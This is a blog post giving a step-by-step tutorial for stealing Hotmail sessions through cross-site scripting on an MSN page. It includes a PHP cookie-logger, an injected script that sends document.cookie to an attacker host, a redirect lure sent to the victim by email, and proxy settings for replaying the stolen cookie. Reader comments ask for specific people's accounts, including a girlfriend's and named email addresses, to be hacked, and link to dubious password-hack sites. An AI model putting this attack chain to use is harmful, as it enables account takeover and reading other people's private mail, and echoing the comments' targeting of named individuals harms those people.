Home | Store | Contact | Videos | Privacy Policy

Hacking hotmail

17 Comments » | This post was viewed 17881 times.

It’s another day of surfing websites and internet and i got few interesting facts and trick on hacking hotmail

Whats Is All About ?

The below document explain how to exploit a security hole exist in http://www.hotmail.com/. With this exploit you can access other people’s mailboxes,view their contacts and much more. All that needs to be done is send this user an e-mail with a link/url to an internet-page you created. When this user clicks on this url, his inbox is all yours.

How does it work

One of the following things is needed to login into Hotmail:

  • When you know his/her e-mail address and password you can login with his username and password on http://www.hotmail.com/
  • When you know his/her account information like country and zip-code,and you are able to answer his/her secret question. In this case You can reset his/her password, and login just like option 1, with a new password.
  • When you have access to his alternate e-mail address,
    you could send a password reset e-mail message to that account to reset his/her password.
  • When you have his/her ‘cookie’ for passport.net or hotmail.msn.com you can
    ‘fake’ his/her cookie, and make hotmail believe you are already logged in as this user.Here use Option 4 to make my exploit work. This exploit is using the cookie
    from hotmail.msn.com to access the ‘victims’ inbox. Because the cookie
    is not limited to the domain hotmail.msn.com, u can also use an exploit
    on the site msn.com to steal the cookie from the victim. When searched
    msn.com for an exploit called “HTML Injection” or “Cross Site Scripting”
    (XSS), it took me about 30 minutes to find one. With this exploit type

We may  able to insert additional pieces of html or javascript into a page of msn.com.
When we insert the code: <SCRIPT>alert(document.cookie)</SCRIPT>,
the user will see a message box just like the picture below when he visits that site.

The real HTML injection example with popup can be viewed at:
http://ilovemessenger.msn.com/?mkt=nl-nl’);alert(document.cookie);escape(’
With the text you can see in the “alert message-box” above, everybody
with some knowledge is able to access my inbox. This text is send by
our browser to hotmail every time we visit a site with the domain “msn.com”.
This method is used so hotmail knows we are still logged in. The text in the
popup is called a “cookie”. A trick used by attackers is to fake somebody
else’s cookie. We may  explain one easy method, although there are different
ways of doing it. We can fake cookies with a helper program called “Proxomitron”.
Proxomitron acts like a proxy server with the option to change, fake or block html headers.
Cookie-text, like the text in the popup, is send by the browser invisibly in
an html-header called “cookie”. Because Proxomitron is able to fake headers,
this program is very useful to me. We may explain later how proxomitron must be configured to fake cookies.How does the attacker get the cookie? Showing a popup to the user with hiscookie information does not help the attacker. The attacker wants the text now shown in the popup-box. To log cookies the hacker needs to create a
internet-page with PHP or ASP. This is to log some text to a log file on a webserver.
I’ve created a simple PHP script that is able to log text to a log file. I’ve named this file “cookielogger.php” and its content looks like this:
<?php $filename = “logfile.txt”; if (isset($_GET["cookie"]))

{ if (!$handle = fopen($filename, ‘a’)) { echo “Error: Unable to write to the log file”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Error while writing to log file”; exit; } } echo “Successfully wrote a string to the log file”; fclose($handle); exit; } echo “nothing to write to the log file”; exit; ?>

I uploaded this file to a webserver. As example I’ll use the fake internet site http://www.hacker.com/. To test the PHP script I’ll go to http://www.hacker.com/cookielogger.php?cookie=test.We can see the text “Successfully wrote a string to the log file”.

When I’m now browsing to http://www.hacker.com/logfile.txt I can see the text “test”.
When I go to http://www.hacker.com/cookielogger.php?cookie=this text is being logged, the text “this text is being logged” will be appended to the log file:http://www.hacker.com/logfile.txt Cookielogger.php is now ready to log text strings, so it’s also ready to log cookies.We may use the Cross Site Scripting exploit to inject a code that will redirect the user to http://www.hacker.com/cookielogger.php with the argument “cookie” filled with the user’s cookie.

So when the user visits the msn site with added code, he will be redirected to http://www.hacker.com/cookielogger.php?cookie=hiscookie and the hacker can read his cookie information at the site http://www.hacker.com/logfile.txt because“his cookie” is now logged to a textfile the hacker can see. the code I’m inserting in msn.com will look like this:
<SCRIPT>location.href=’http://www.hacker.com/cookielogger.php?cookie=’+escape(document.cookie)</SCRIPT>

See the two printscreens below of the results with the cookielogger.Remember “www.hacker.com” is not really used, its just an example.

The real HTML injection example to log the cookie is:

http://ilovemessenger.msn.com/?mkt=nl-nl’);

location.href=’http://www.hacker.com/cookielogger.php?cookie=‘+escape(document.cookie);escape(’

Okay, the exploit is ready to go. We could send the link above to the victim in the hope he clicks the link.But there aren’t many people who go to a site like “ilovemessenger.msn.com”.Also when the users sees something like “document.cookie” in the url he’ll probably think twice before clicking it.When we create a new php page called “redirect.php” with the following content:
<?php header(”Location: http://ilovemessenger.msn.com/?mkt=nl-nl’); location.href=’http://www.hacker.com/cookielogger.php?cookie=’+escape(document.cookie);escape(’”); exit; ?>and place this file online on http://www.hacker.com/redirect.php.

Now when we send the victim an email with this link and he clicks on it he will be redirected to the ilovemessenger site plus exploit,here he will be redirected to hacker.com/cookielogger.php with his cookie of msn.com being logged in the log file.When these actions are completed you are ready to start exploiting the victim.If anyone really would try to break into somebody’s hotmail account he also would change cookielogger.php to redirect on, or to show an innocent message,so that the user wouldn’t notice that his cookie was logged.When a malicious hacker sends an e-mail containing the link to the redirect script and the victim opens his new e-mail message he will see something like this:

When the victim clicks the text “click this link” the exploit will come in motion.In real life there are tons of methods of persuading the victim to click on a link.The hacker is patiently waiting for a new entry in the file http://www.hacker.com/logfile.txt.When the user finally clicks the link and the hacker notices extra text in the log file the fun can start.When the victim is fallen for your trick, the log file looks like this:

Now the hacker has stolen the cookie of the victim, the hacker can proceed in faking his
cookie when entering hotmail. Somewhere at the start of this explanation we talked about
“Proxomitron” to fake cookies. You will now explain how to make the settings to fake this cookie.

Proxomitron looks like this:

The image “http://www.softpedia.com/base_img/bwin_dwld.gif” cannot be displayed, because it contains errors.

Just place a ‘v’ before “Outgoing Header Filters” because that’s what we want to do.
We want to send the users cookie to the web server as it is or own cookie.Press the button “Headers” to create a new header to fake the cookie.

In the new window, fill in these values:
HTTP Header: “Cookie: a description”
URL Match: “”
Header Value Match: “*”
Replacement test: the users cookie

Apply the new header by putting a ‘v’ before the new header in the “Out” column and press apply to save the changes.

Proxomitron is now ready for faking the cookie. Now setting up your browser.
You need to set your browser to use a proxy-server. It differs per browser how to make that setting.
In Internet Explorer:
“Tools -> Internet Options… -> Connections -> LAN Settings -> Proxy server”
In Mozilla Firefox: “Tools -> General -> Connection Settings -> Manual proxy configuration”
Set the Address to “127.0.0.1? (your own pc) and as port : “8080? (the port of Proxomitron proxy server)

When your browser is setup to use your own proxy server, you can go to the following url :
http://by103fd.bay103.hotmail.msn.com/cgi-bin/hmhome?fti=yes

When successful you can now see the inbox of the victims mail box.

Frankly in Ethics and law

Nothing I did was illegal, but when you are hacking somebody else his inbox you are breaking the law.When this happens you can be prosecuted and go to jail. Don’t let this happen to you.We can  published this document to let the world know about the security risk.By publishing this document Microsoft is forced to patch the hole immediately.
If I hadn’t told Microsoft about this security hole (I mailed them), or if I wouldn’t have found it,it is possible somebody else would have found it. If this guy would have been a ‘black-hat-hacker’ he and his friends would surely have used this security hole to hack a lot of mail-boxes.

Essence

Security holes have been found in Hotmail multiple times in the past. After putting this tutorial online, I found out that Microsoft had a similar bug three years ago,
found by N|ghtHawk (a fellow Net-Force member).I hope that after this time MSN will be more careful with it’s security, because small exploits can have great consequences.

Credits: Tweak by “Alex de Vries” from Holland.

 

Updated: This method is about 2 year old and may not work effectively now.MSN has updated its security system so it may not do what it have to do.Proxomitron,XSS (cross site scripting),SQL injection are few method that may work properly to hack the accounts and sites.But most of the services and solution regularly update their database and security to cope with these sort of vulnerability.

You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

17 Responses to “Hacking hotmail”

  1. hey friends i want fan flood

  2. yeah right show me real person whom this has worked for

  3. i’m greek and i don’t anderstand what r u telling ”Ethics and law” that if u do it they will find u ????
    plz answer …

  4. Hello Can anyone tell me i want to hack my girlfrnd account.
    her gmail and hotmail….

    please let me know
    mail me at ziken@indiatimes.com

  5. where can i get a good hacking software?? is hotmail hackng really possible?

  6. Dear Sir,
    thanks your website. please hack these id we shall be very thankful to you.

    naomi-sadiq@hotmail.com
    sehersadiq@yahoo.com

    she is not good lady she is money maker and just communication for money after that she use for wrong work.
    Please help us in this good work. with thanks,
    farooq noor.

  7. MY FRIEND HACK MY GMAIL ACCOUNT PLS SEND ME A LINK IMMORTALITY BECAUSE THIS IS MY OFFICIAL ID.PLS HELP MEEEEEEEEEEEEEEEEEEEEEEEEE

  8. @nidhee
    You might left your login which let your friend to change the password details.
    The only working solution you have is to try following:
    1.Try to retrieve password with your secondly e-mail id
    2.Try to retrieve password with your security questions (may be he also change this)
    If the above things doesn’t work then go for Google Account Recovery Form

  9. My method is easier, just go to http://www.hotmailpwds.blogspot;com and download complete passwordlists in .pdf-files!

  10. Character of “It is realization as for the shopping frame of the credit card” seen well on the Internet. Seeing with the advertisement of two channels etc. might be more abundant. This is a system that borrows money by using the shopping frame of the credit card as its name suggests.

  11. Hello This is valuable info, am into all this… fine stuff bro

  12. Hey This is good info, am intrested in it… gud stuff bro

  13. Hey This is great info, am intrested in it… fine stuff m8

  14. Is the program on this site legit for a hotmail password hack? It is http://www.hotmailpasswordhack.net

Leave a Reply